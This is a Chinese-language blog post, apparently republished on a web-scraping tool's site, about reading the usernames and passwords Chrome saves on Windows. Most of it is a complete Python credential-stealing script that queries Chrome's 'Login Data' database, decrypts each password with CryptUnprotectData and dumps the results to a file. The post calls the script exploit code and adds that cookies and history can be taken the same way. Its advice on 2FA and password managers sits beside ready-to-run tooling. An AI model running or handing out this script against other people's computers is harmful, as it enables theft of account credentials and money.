网页抓取解密(如何轻松提取Chrome配置文件中保存的用户名和密码?|)

优采云 发布时间: 2022-03-31 05:04

  网页抓取解密(如何轻松提取Chrome配置文件中保存的用户名和密码?|)

  在本文中,我将演示如何轻松提取保存在 Chrome 配置文件中的用户名和密码。有人可能会认为 Chrome 会加密自动保存的密码,但事实并非如此。使用 Chrome 时,您通常需要输入特定密码才能同步自动保存的密码、书签、设置、浏览器历史记录等。但是,任何人都可以在本地使用 12 行脚本直接读取自动保存的明文密码。

  演示

  需要注意的是,我暂时没有在 macOS 或任何 Linux 系统上测试过。所有测试均在 Windows 环境下进行,脚本使用 Python 语言编写。

  首先,我们导入依赖项,然后在 Chrome 文件中设置保存用户数据的文件夹。依赖项是:sqlite3 和 win32crypt

  #默认情况下,os和sqlite3已有,需要使用"pip install pypiwin32"来解决win32crypt

import os,sqlite3,win32crypt

#自动获取保存用户数据的默认文件夹

data = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"

  接下来,我们需要利用 sqlite3 连接到存储用户数据的 Chrome 数据库。首先,我们来看看这个数据库的结构。使用名为 SQLite Expert 的免费工具,您可以看到以下表结构。

  

  当我查看数据库表时,三列数据引起了我的注意,action_url、username_value 和 password_value。请注意,password_value 列的数据类型是 BLOB - 这意味着它是加密的,如下图所示,但这并不完全安全(我们稍后会提到)。

  

  接下来,我们将创建一个简单的 SQL 查询来提取相应的值,并对其进行解密。

  注意:如果您在运行脚本时看到有关数据库被锁定的错误,那是因为另一个程序(很可能是 Chrome)打开了数据库。您需要关闭整个 Chrome 以确保没有其他 Chrome 服务在后台运行。

  #连接数据库

connection = sqlite3.connect(data)

cursor = connection.cursor()

#查询数据

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

final_data = cursor.fetchall()

#关闭数据库连接

cursor.close()

  至此,我们得到的加密密码是由Windows函数CryptProtectData生成的。如果解密,则只能由加密时在计算机上具有相同 Windows 登录凭据的用户解密。从外面看,似乎还不错。

  但是,如果黑客使用木马等恶意软件控制了您的计算机,则可以说黑客此时拥有您的 Windows 凭据并可以在您的计算机上对其进行解密。使用 CryptUnprotectData 函数,我们可以解密加密的密码。

  #迭代找到的所有值...

for chrome_logins in final_data:

password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]

print("Website : "+str(chrome_logins[0]))

print("Username : "+str(chrome_logins[1]))

print("Password : "+str(password))

  通过这种方式,我通过十二行代码提取了自 2011 年以来存储的所有 588 个密码。

  

  其他敏感数据,如浏览历史和 cookie 也可以使用类似的方法提取。

  后记

  对于任何网站,单个密码不足以保证自己的安全,最好使用 2FA 来保证自己的安全。但遗憾的是,现在很多网站都没有2FA功能。

  此外,第三方密码管理器似乎解决了上述问题,但它们自身的安全性未知,但至少比任何人都能看到的 Chrome 的自动保存要好。

  当然,我必须承认,这次提取的密码让我想起了很多我之前忘记的密码,确实解决了我的很多问题(甚至涉及很多钱)。

  漏洞利用代码如下:

  # os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.

import os, sqlite3, win32crypt

# Automatically get the logged in user's default folder

data = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"

# Connect to Login Data databa se

connection = sqlite3.connect(data)

cursor = connection.cursor()

# Query the values of interest to us

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

final_data = cursor.fetchall()

cursor.close()

# print("Found {} passwords...").format(str(len(final_data)))

write_file=open("chrome.txt","w")

write_file.write("User login data extracted: \n\n")

# Iterating through all the values found...

for chrome_logins in final_data:

password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]

site = "Website: " + str(chrome_logins[0])

username = "Username: " + str(chrome_logins[1])

password = "Password: " +str(password)

write_file.write(site+"\n"+username+"\n"+password)

write_file.write("\n"+"======"*10+"\n")

print("Saved to chrome.txt")

  谢谢阅读!

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线